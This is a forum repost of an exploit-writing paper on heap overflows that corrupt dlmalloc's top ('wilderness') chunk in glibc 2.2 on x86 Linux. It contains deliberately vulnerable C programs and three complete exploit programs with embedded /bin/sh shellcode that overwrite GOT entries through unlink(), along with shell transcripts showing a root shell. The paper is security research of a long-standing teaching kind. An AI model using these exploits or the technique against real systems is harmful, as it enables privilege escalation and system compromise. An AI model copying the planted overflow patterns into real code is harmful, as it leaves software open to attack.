Nytro Posted August 18, 2014 Report Posted August 18, 2014 Exploiting The Wildernessby Phantasmal Phantasmagoriaphantasmal@hush.ai- ---- Table of Contents ------------- 1 - Introduction 1.1 Prelude 1.2 The wilderness 2 - Exploiting the wilderness 2.1 Exploiting the wilderness with malloc() 2.2 Exploiting the wilderness with an off-by-one 3 - The wilderness and free() 4 - A word on glibc 2.3 5 - Final thoughts-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1- ------------------------------------Exploiting The Wildernessby Phantasmal Phantasmagoriaphantasmal@hush.ai- ---- Table of Contents ------------- 1 - Introduction 1.1 Prelude 1.2 The wilderness 2 - Exploiting the wilderness 2.1 Exploiting the wilderness with malloc() 2.2 Exploiting the wilderness with an off-by-one 3 - The wilderness and free() 4 - A word on glibc 2.3 5 - Final thoughts- ------------------------------------- ---- Introduction ------------------- ---- PreludeThis paper outlines a method of exploiting heap overflows on dlmallocbased glibc 2.2 systems. In situations where an overflowable buffer iscontiguous to the wilderness it is possible to acheive the aa4bmo primitive[1].This article is written with an x86/Linux target in mind. It is assumedthe reader is familiar with the dlmalloc chunk format and the traditionalmethods of exploiting dlmalloc based overflows [2][3]. It may be desiredto obtain a copy of the complete dlmalloc source code from glibc itself, as excerpts are simplified and may lose a degree of context.- ---- The wildernessThe wilderness is the top-most chunk in allocated memory. It is similarto any normal malloc chunk - it has a chunk header followed by a variablylong data section. The important difference lies in the fact that thewilderness, also called the top chunk, borders the end of available memoryand is the only chunk that can be extended or shortened. This means itmust be treated specially to ensure it always exists; it must be preserved.The wilderness is only used when a call to malloc() requests memory ofa size that no other freed chunks can facilitate. If the wilderness issufficiently large enough to handle the request it is split in to two, one part being returned for the call to malloc(), and the other becomingthe new wilderness. In the event that the wilderness is not large enoughto handle the request, it is extended with sbrk() and split as describedabove. This behaviour means that the wilderness will always exist, andfurthermore, its data section will never be used. This is called wildernesspreservation and as such, the wilderness is treated as the last resortin allocating a chunk of memory [4].Consider the following example:/* START wilderness.c */#include <stdio.h>int main(int argc, char *argv[]) { char *first, *second; first = (char *) malloc(1020); /* [A] */ strcpy(first, argv[1]); /* [B] */ second = (char *) malloc(1020); /* [C] */ strcpy(second, "polygoria!"); printf("%p | %s\n", first, second);}/* END wilderness.c */It can be logically deduced that since no previous calls to free() havebeen made our malloc() requests are going to be serviced by the existingwilderness chunk. The wilderness is split in two at [A], one chunk of1024 bytes (1020 + 4 for the size field) becomes the 'first' buffer,while the remaining space is used for the new wilderness. This same processhappens again at [C].Keep in mind that the prev_size field is not used by dlmalloc if theprevious chunk is allocated, and in that situation can become part ofthe data of the previous chunk to decrease wastage. The wilderness chunkdoes not utilize prev_size (there is no possibility of the top chunkbeing consolidated) meaning it is included at the end of the 'first'buffer at [A] as part of its 1020 bytes of data. Again, the same appliesto the 'second' buffer at [C].The wilderness chunk being handled specially by the dlmalloc system ledto Michel "MaXX" Kaempf stating in his 'Vudo malloc tricks' [2] article, "The wilderness chunk is one of the most dangerous opponents of theattacker who tries to exploit heap mismanagement". It is this specialhandling of the wilderness that we will be manipulating in our exploits, turning the dangerous opponent into, perhaps, an interesting conquest.- ------------------------------------- ---- Exploiting the wilderness ------ ---- Exploiting the wilderness with malloc()Looking at our sample code above we can see that a typical buffer overflowexists at [B]. However, in this situation we are unable to use the traditionalunlink technique due to the overflowed buffer being contiguous to thewilderness and the lack of a relevant call to free(). This leaves uswith the second call to malloc() at [C] - we will be exploiting the specialcode used to set up our 'second' buffer from the wilderness.Based on the knowledge that the 'first' buffer borders the wilderness, it is clear that not only can we control the prev_size and size elementsof the top chunk, but also a considerable amount of space after the chunkheader. This space is the top chunk's unused data area and proves crucialin forming a successful exploit.Lets have a look at the important chunk_alloc() code called from ourmalloc() requests: /* Try to use top chunk */ /* Require that there be a remainder, ensuring top always exists */ if ((remainder_size = chunksize(top(ar_ptr)) - nb) < (long)MINSIZE) /* [A] */ { ... malloc_extend_top(ar_ptr, nb); ... } victim = top(ar_ptr); set_head(victim, nb | PREV_INUSE); top(ar_ptr) = chunk_at_offset(victim, nb); set_head(top(ar_ptr), remainder_size | PREV_INUSE); return victim;This is the wilderness chunk code. It checks to see if the wildernessis large enough to service a request of nb bytes, then splits and recreatesthe top chunk as described above. If the wilderness is not large enoughto hold the minimum size of a chunk (MINSIZE) after nb bytes are used, the heap is extended using malloc_extend_top(): mchunkptr old_top = top(ar_ptr); INTERNAL_SIZE_T old_top_size = chunksize(old_top); /* [B] */ char *brk; ... char *old_end = (char*)(chunk_at_offset(old_top, old_top_size)); ... brk = sbrk(nb + MINSIZE); /* [C] */ ... if (brk == old_end) { /* [D] */ ... old_top = 0; } ... /* Setup fencepost and free the old top chunk. */ if(old_top) { /* [E] */ old_top_size -= MINSIZE; set_head(chunk_at_offset(old_top, old_top_size + 2*SIZE_SZ), 0|PREV_INUSE); if(old_top_size >= MINSIZE) { /* [F] */ set_head(chunk_at_offset(old_top, old_top_size), (2*SIZE_SZ)|PREV_INUSE); set_foot(chunk_at_offset(old_top, old_top_size), (2*SIZE_SZ)); set_head_size(old_top, old_top_size); chunk_free(ar_ptr, old_top); } else { ... } }The above is a simplified version of malloc_extend_top() containing onlythe code we are interested in. We can see the wilderness being extendedat [C] with the call to sbrk(), but more interesting is the chunk_free()request in the 'fencepost' code.A fencepost is a space of memory set up for checking purposes [5]. Inthe case of dlmalloc they are relatively unimportant, but the code aboveprovides the crucial element in exploiting the wilderness with malloc().The call to chunk_free() gives us a glimpse, a remote possibility, ofusing the unlink() macro in a nefarious way. As such, the chunk_free()call is looking very interesting.However, there are a number of conditions that we have to meet in orderto reach the chunk_free() call reliably. Firstly, we must ensure thatthe if statement at [A] returns true, forcing the wilderness to be extended.Once in malloc_extend_top(), we have to trigger the fencepost code at[E]. This can be done by avoiding the if statement at [D]. Finally, wemust handle the inner if statement at [F] leading to the call to chunk_free().One other problem arises in the form of the set_head() and set_foot()calls. These could potentially destroy important data in our attack,so we must include them in our list of things to be handled. That leavesus with four items to consider just in getting to the fencepost chunk_free()call.Fortunately, all of these issues can be solved with one solution. Asdiscussed above, we can control the wilderness' chunk header, essentialygiving us control of the values returned from chunksize() at [A] and[B]. Our solution is to set the overflowed size field of the top chunkto a negative value. Lets look at why this works: - A negative size field would trigger the first if statement at [A]. This is because remainder_size is signed, and when set to a negative number still evaluates to less than MINSIZE. - The altered size element would be used for old_top_size, meaning the old_end pointer would appear somewhere other than the actual end of the wilderness. This means the if statement at [D] returns false and the fencepost code at [E] is run. - The old_top_size variable is unsigned and would appear to be a large positive number when set to our negative size field. This means the statement at [F] returns true, as old_top_size evaluates to be much greater than MINSIZE. - The potentially destructive chunk header modifying calls would only corrupt unimportant padding within our overflowed buffer as the negative old_top_size is used for an offset.Finally, we can reach our call to chunk_free(). Lets look at the importantbits: INTERNAL_SIZE_T hd = p->size; ... if (!hd & PREV_INUSE)) /* consolidate backward */ /* [A] */ { prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); /* [B] */ sz += prevsz; if (p->fd == last_remainder(ar_ptr)) islr = 1; else unlink(p, bck, fwd); }The call to chunk_free() is made on old_top (our overflowed wilderness)meaning we can control p->prev_size and p->size. Backward consolidationis normally used to merge two free chunks together, but we will be usingit to trigger the unlink() bug.Firstly, we need to ensure the backward consolidation code is run at[A]. As we can control p->size, we can trigger backward consolidationsimply by clearing the overflowed size element's PREV_INUSE bit. Fromhere, it is p->prev_size that becomes important. As mentioned above,p->prev_size is actually part of the buffer we're overflowing.Exploiting dlmalloc by using backwards consolidation was briefly consideredin the article 'Once upon a free()' [3]. The author suggests that itis possible to create a 'fake chunk' within the overflowed buffer - thatis, a fake chunk relatively negative to the overflowed chunk header.This would require setting p->prev_size to a small positive number whichin turn gets complemented in to its negative counterpart at [B] (digression:please excuse my stylistic habit of replacing the more technically correct"two's complement" with "complement"). However, such a small positivenumber would likely contain NULL terminating bytes, effectively endingour payload before the rest of the overflow is complete.This leaves us with one other choice; creating a fake chunk relativelypositive to the start of the wilderness. This can be achieved by settingp->prev_size to a small negative number, turned in to a small positivenumber at [B]. This would require the specially crafted forward and backpointers to be situated at the start of the wilderness' unused data area, just after the chunk header. Similar to the overflowed size variablediscussed above, this is convinient as the negative number need not containNULL bytes, allowing us to continue the payload into the data area.For the sake of the exploit, lets go with a prev_size of -4 or 0xfffffffcand an overflowed size of -16 or 0xfffffff0. Clearly, our prev_size willget turned into an offset of 4, essentialy passing the point 4 bytespast the start of the wilderness (the start being the prev_size elementitself) to the unlink() macro. This means that our fake fwd pointer willbe at the wilderness + 12 bytes and our bck pointer at the wilderness+ 16 bytes. An overflowed size of -16 places the chunk header modifyingcalls safely into our padding, while still satisfying all of our otherrequirements. Our payload will look like this:|...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPPPP|SSSSWWWWFFFFBBBBWWWWWWWW...|A = Target buffer that we control. Some of this will be trashed by the chunk header modifying calls, important when considering shellcode placement.P = The prev_size element of the wilderness chunk. This is part of our target buffer. We set it to -4.S = The overflowed size element of the wilderness chunk. We set it to -16.W = Unimportant parts of the wilderness.F = The fwd pointer for the call to unlink(). We set it to the target return location - 12.B = The bck pointer for the call to unlink(). We set it to the return address.We're now ready to write our exploit for the vulnerable code discussedabove. Keep in mind that a malloc request for 1020 is padded up to 1024to contain room for the size field, so we are exactly contiguous to thewilderness.$ gcc -o wilderness wilderness.c$ objdump -R wilderness | grep printf08049650 R_386_JUMP_SLOT printf$ ./wilderness 1230x8049680 | polygoria!/* START exploit.c */#include <string.h>#include <stdlib.h>#include <unistd.h>#define RETLOC 0x08049650 /* GOT entry for printf */#define RETADDR 0x08049680 /* start of 'first' buffer data */char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052); p = payload; memset(p, '\x90', 1052); /* Jump 12 ahead over the trashed word from unlink() */ memcpy(p, "\xeb\x0c", 2); /* We put the shellcode safely away from the possibly * corrupted area */ p += 1020 - 64 - sizeof(shellcode); memcpy(p, shellcode, sizeof(shellcode) - 1); /* Set up the prev_size and overflow size fields */ p += sizeof(shellcode) + 64 - 4; *(long *) p = -4; p += 4; *(long *) p = -16; /* Set up the fwd and bck of the fake chunk */ p += 8; *(long *) p = RETLOC - 12; p += 4; *(long *) p = RETADDR; p += 4; *(p) = '\0'; execl("./wilderness", "./wilderness", payload, NULL);}/* END exploit.c */$ gcc -o exploit exploit.c$ ./exploitsh-2.05a#- ---- Exploiting the wilderness with an off-by-oneLets modify our original vulnerable code to contain an off-by-one condition:/* START wilderness2.c */#include <stdio.h>int main(int argc, char *argv[]) { char *first, *second; int x; first = (char *) malloc(1020); for(x = 0; x <= 1020 && argv[1][x] != '\0'; x++) /* [A] */ first[x] = argv[1][x]; second = (char *) malloc(2020); /* [B] */ strcpy(second, "polygoria!"); printf("%p %p | %s\n", first, argv[1], second);}/* END wilderness2.c */Looking at this sample code we can see the off-by-one error occuringat [A]. The loop copies 1021 bytes of argv[1] into a buffer, 'first', allocated only 1020 bytes. As the 'first' buffer was split off the topchunk in its allocation, it is exactly contiguous to the wilderness.This means that our one byte overflow destroys the least significantbyte of the top chunk's size field.When exploiting off-by-one conditions involving the wilderness we willuse a similar technique to that discussed above in the malloc() section;we want to trigger malloc_extend_top() in the second call to malloc()and use the fencepost code to cause an unlink() to occur. However, thereare a couple of important issues that arise further to those discussedabove.The first new problem is found in trying to trigger malloc_extend_top()from the wilderness code in chunk_alloc(). In order to force the heapto extend the size of the wilderness minus the size of our second request(2020) needs to be less than 16. When we controlled the entire size fieldin the section above this was not a problem as we could easily set avalue less than 16, but since we can only control the least significantbyte of the wilderness' size field we can only decrease the size by alimited amount. This means that in some situations where the wildernessis too big we cannot trigger the heap extension code. Fortunately, itis common in real world situations to have some sort of control overthe size of the wilderness through attacker induced calls to malloc().Assuming that our larger second request to malloc() will attempt to extendthe heap, we now have to address the other steps in running the fencepostchunk_free() call. We know that we can comfortably reach the fencepostcode as we are modifying the size element of the wilderness. The innerif statement leading to the chunk_free() is usually triggered as eitherour old_top_size is greater than 16, or the wilderness' size is smallenough that controlling the least significant byte is enough to makeold_top_size wrap around when MINSIZE is subtracted from it. Finally, the chunk header modifying calls are unimportant, so long as they occurin allocated memory as to avoid a premature segfault. The reason forthis will become clear in a short while. All we have left to do is toensure that the PREV_INUSE bit is cleared for backwards consolidationat the chunk_free(). This is made trivial by our control of the sizefield.Once again, as we reach the backward consolidation code it is the prev_sizefield that becomes important. We have already determined that we haveto use a negative prev_size value to ensure our payload is not terminatedby stray NULL bytes. The negative prev_size field causes the backwardconsolidation chunk_at_offset() call to use a positive offset from thestart of the wilderness. However, unlike the above situation we do notcontrol any of the wilderness after the overflowed least significantbyte of the size field. Knowing that we can only go forward in memoryat the consolidation and that we don't have any leverage on the heap, we have to shift our attention to the stack.The stack may initally seem to be an unlikely factor when consideringa heap overflow, but in our case where we can only increase the valuespassed to unlink() it becomes quite convinient, especially in a localcontext. Stack addresses are much higher in memory than their heap counterpartsand by correctly setting the prev_size field of the wilderness, we canforce an unlink() to occur somewhere on the stack. That somewhere willbe our payload as it sits in argv[1]. Using this heap-to-stack unlink()technique any possible corruption of our payload in the heap by the chunkheader modifying calls is inconsequential to our exploit; the heap isonly important in triggering the actual overflow, the values for unlink()and the execution of our shellcode can be handled on the stack.The correct prev_size value can be easily calculated when exploitinga local vulnerability. We can discover the address of both argv[1] andthe 'first' buffer by simulating our payload and using the output ofrunning the vulnerable program. We also know that our prev_size willbe complemented into a positive offset from the start of the wilderness.To reach argv[1] at the chunk_at_offset() call we merely have to subtractthe address of the start of the wilderness (the end of the 'first' bufferminus 4 for prev_size) from the address of argv[1], then complement theresult. This leaves us with the following payload:|FFFFBBBBDDDDDDDDD...DDDDDDDDPPPP|SWWWWWWWWWWW...|F = The fwd pointer for the call to unlink(). We set it to the target return location - 12.B = The bck pointer for the call to unlink(). We set it to the return address.D = Shellcode and NOP padding, where we will return in argv[1].S = The overflowed byte in the size field of the wilderness. We set it to the lowest possible value that still clears PREV_INUSE, 2.W = Unimportant parts of the wilderness.$ gcc -o wilderness2 wilderness2.c$ objdump -R wilderness2 | grep printf08049684 R_386_JUMP_SLOT printf/* START exploit2.c */#include <string.h>#include <stdlib.h>#include <unistd.h>#define RETLOC 0x08049684 /* GOT entry for printf */#define ARGV1 0x01020304 /* start of argv[1], handled later */#define FIRST 0x04030201 /* start of 'first', also handled later */char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1028); long prev_size; p = payload; memset(p, '\x90', 1028); *(p + 1021) = '\0'; /* Set the fwd and bck for the call to unlink() */ *(long *) p = RETLOC - 12; p += 4; *(long *) p = ARGV1 + 8; p += 4; /* Jump 12 ahead over the trashed word from unlink() */ memcpy(p, "\xeb\x0c", 2); /* Put shellcode at end of NOP sled */ p += 1012 - 4 - sizeof(shellcode); memcpy(p, shellcode, sizeof(shellcode) - 1); /* Set up the special prev_size field. We actually want to * end up pointing to 8 bytes before argv[1] to ensure the * fwd and bck are hit right, so we add 8 before * complementing. */ prev_size = -(ARGV1 - (FIRST + 1016)) + 8; p += sizeof(shellcode); *(long *) p = prev_size; /* Allow for a test condition that will not segfault the * target when getting the address of argv[1] and 'first'. * With 0xff malloc_extend_top() returns early due to error * checking. 0x02 is used to trigger the actual overflow. */ p += 4; if(argc > 1) *(char *) p = 0xff; else *(char *) p = 0x02; execl("./wilderness2", "./wilderness2", payload, NULL);}/* END exploit2.c */$ gcc -o exploit2 exploit2.c$ ./exploit2 test0x80496b0 0xbffffac9 | polygoria!$ cat > diffex6,7c6,7< #define ARGV1 0x01020304 /* start of argv[1], handled later */< #define FIRST 0x04030201 /* start of 'first', also handled later */- ---> #define ARGV1 0xbffffac9 /* start of argv[1] */> #define FIRST 0x080496b0 /* start of 'first' */$ patch exploit2.c diffexpatching file exploit2.c$ gcc -o exploit2 exploit2.c$ ./exploit2sh-2.05a#- ------------------------------------- ---- The wilderness and free() -----Lets now consider the following example:/* START wilderness3a.c */#include <stdio.h>int main(int argc, char *argv[]) { char *first, *second; first = (char *) malloc(1020); strcpy(first, argv[1]); free(first); second = (char *) malloc(1020);}/* END wilderness3a.c */Unfortunately, this situation does not appear to be exploitable. Whenexploiting the wilderness calls to free() are your worst enemy. Thisis because chunk_free() handles situations directly involving the wildernesswith different code to the normal backward or forward consolidation.Although this special 'top' code has its weaknesses, it does not seempossible to either directly exploit the call to free(), nor survive itin a way possible to exploit the following call to malloc(). For thoseinterested, lets have a quick look at why: INTERNAL_SIZE_T hd = p->size; INTERNAL_SIZE_T sz; ... mchunkptr next; INTERNAL_SIZE_T nextsz; ... sz = hd & ~PREV_INUSE; next = chunk_at_offset(p, sz); nextsz = chunksize(next); /* [A] */ if (next == top(ar_ptr)) { sz += nextsz; /* [B] */ if (!(hd & PREV_INUSE)) /* [C] */ { ... } set_head(p, sz | PREV_INUSE); /* [D] */ top(ar_ptr) = p; ... }Here we see the code from chunk_free() used to handle requests involvingthe wilderness. Note that the backward consolidation within the 'top'code at [C] is uninteresting as we do not control the needed prev_sizeelement. This leaves us with the hope of using the following call tomalloc() as described above.In this situation we control the value of nextsz at [A]. We can see thatthe chunk being freed is consolidated with the wilderness. We can controlthe new wilderness' size as it is adjusted with our nextsz at [B], butunfortunately, the PREV_INUSE bit is set at the call to set_head() at[D]. The reason this is a bad thing becomes clear when considering thepossibilites of using backward consolidation in any future calls to malloc();the PREV_INUSE bit needs to be cleared.Keeping with the idea of exploiting the following call to malloc() usingthe fencepost code, there are a few other options - all of which appearto be impossible. Firstly, forward consolidation. This is made unlikelyby the fencepost chunk header modifying calls discussed above, as theyusually ensure that the test for forward consolidation will fail. Thefrontlink() macro has been discussed [2] as another possible method ofexploiting dlmalloc, but since we do not control any of the traversedchunks this technique is uninteresting. The final option was to use thefencepost chunk header modifying calls to partially overwrite a GOT entryto point into an area of memory we control. Unfortunately, all of thesemodifying calls are aligned, and there doesn't seem to be anything elsewe can do with the values we can write.Now that we have determined what is impossible, lets have a look at whatwe can do when involving the wilderness and free():/* START wilderness3b.c */#include <stdio.h>int main(int argc, char *argv[]) { char *first, *second; first = (char *) malloc(1020); second = (char *) malloc(1020); strcpy(second, argv[1]); /* [A] */ free(first); /* [B] */ free(second);}/* END wilderness3b.c */The general aim of this contrived example is to avoid the special 'top'code discussed above. The wilderness can be overflowed at [A], but thisis directly followed by a call to free(). Fortunately, the chunk to befreed is not bordering the wilderness, and thus the 'top' code is notinvoked. To exploit this we will be using forward consolidation at [B], the first call to free(). /* consolidate forward */ if (!(inuse_bit_at_offset(next, nextsz))) { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) { ... } else unlink(next, bck, fwd); next = chunk_at_offset(p, sz); }At the first call to free() 'next' points to our 'second' buffer. Thismeans that the test for forward consolidation looks at the size valueof the wilderness. To trigger the unlink() on our 'next' buffer we needto overflow the wilderness' size field to clear the PREV_INUSE bit. Ourpayload will look like this:|FFFFBBBBDDDDDDDD...DDDDDDDD|SSSSWWWWWWWWWWWWWWWW...|F = The fwd pointer for the call to unlink(). We set it to the target return location - 12.B = The bck pointer for the call to unlink(). We set it to the return address.D = Shellcode and NOP padding, where we will return.S = The overflowed size field of the wilderness chunk. A value of -4 will do.W = Unimportant parts of the wilderness.We're now ready for an exploit.$ gcc -o wilderness3b wilderness3b.c$ objdump -R wilderness3b | grep free0804962c R_386_JUMP_SLOT free$ ltrace ./wilderness3b 1986 2>&1 | grep malloc | tail -n 1malloc(1020) = 0x08049a58/* START exploit3b.c */#include <string.h>#include <stdlib.h>#include <unistd.h>#define RETLOC 0x0804962c /* GOT entry for free */#define RETADDR 0x08049a58 /* start of 'second' buffer data */char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052); p = payload; memset(p, '\x90', 1052); /* Set up the fwd and bck pointers to be unlink()'d */ *(long *) p = RETLOC - 12; p += 4; *(long *) p = RETADDR + 8; p += 4; /* Jump 12 ahead over the trashed word from unlink() */ memcpy(p, "\xeb\x0c", 2); /* Position shellcode safely at end of NOP sled */ p += 1020 - 8 - sizeof(shellcode) - 32; memcpy(p, shellcode, sizeof(shellcode) - 1); p += sizeof(shellcode) + 32; *(long *) p = -4; p += 4; *(p) = '\0'; execl("./wilderness3b", "./wilderness3b", payload, NULL);}/* END exploit3b.c */$ gcc -o exploit3b exploit3b.c$ ./exploit3bsh-2.05a#- ------------------------------------- ---- A word on glibc 2.3 -----------Although exploiting our examples on a glibc 2.3 system would be an interestingactivity it does not appear possible to utilize the techniques describedabove. Specifically, although the fencepost code exists on both platforms, the situations surrounding them are vastly different.For those genuinely interested in a more detailed explanation of thedifficulties involving the fencepost code on glibc 2.3, feel free tocontact me.- ------------------------------------- ---- Final thoughts ----------------For an overflow involving the wilderness to exist on a glibc 2.2 platformmight seem a rare or esoteric occurance. However, the research presentedabove was not prompted by divine inspiration, but in response to a tangibleneed. Thus it was not so much important substance that inclined me torelease this paper, but rather the hope that obscure substance mightbe reused for some creative good by another.- ------------------------------------[1] http://www.phrack.org/show.php?p=61&a=6[2] http://www.phrack.org/show.php?p=57&a=8[3] http://www.phrack.org/show.php?p=57&a=9[4] http://gee.cs.oswego.edu/dl/html/malloc.html[5] http://www.memorymanagement.org/glossary/f.html#fencepost- -----------------------------------------BEGIN PGP SIGNATURE-----Note: This signature can be verified at https://www.hushtools.com/verifyVersion: Hush 2.3wkYEARECAAYFAkA6PcsACgkQImcz/hfgxg0F0QCeOJsU+ZFJ+d+Cg0g5lpSio11QGqQAn3z6846AfkvZ3/BXqUGmciT4Brvw=k/EC-----END PGP SIGNATURE-----Sursa: https://www.thc.org/root/docs/exploit_writing/Exploiting%20the%20wilderness.txt Quote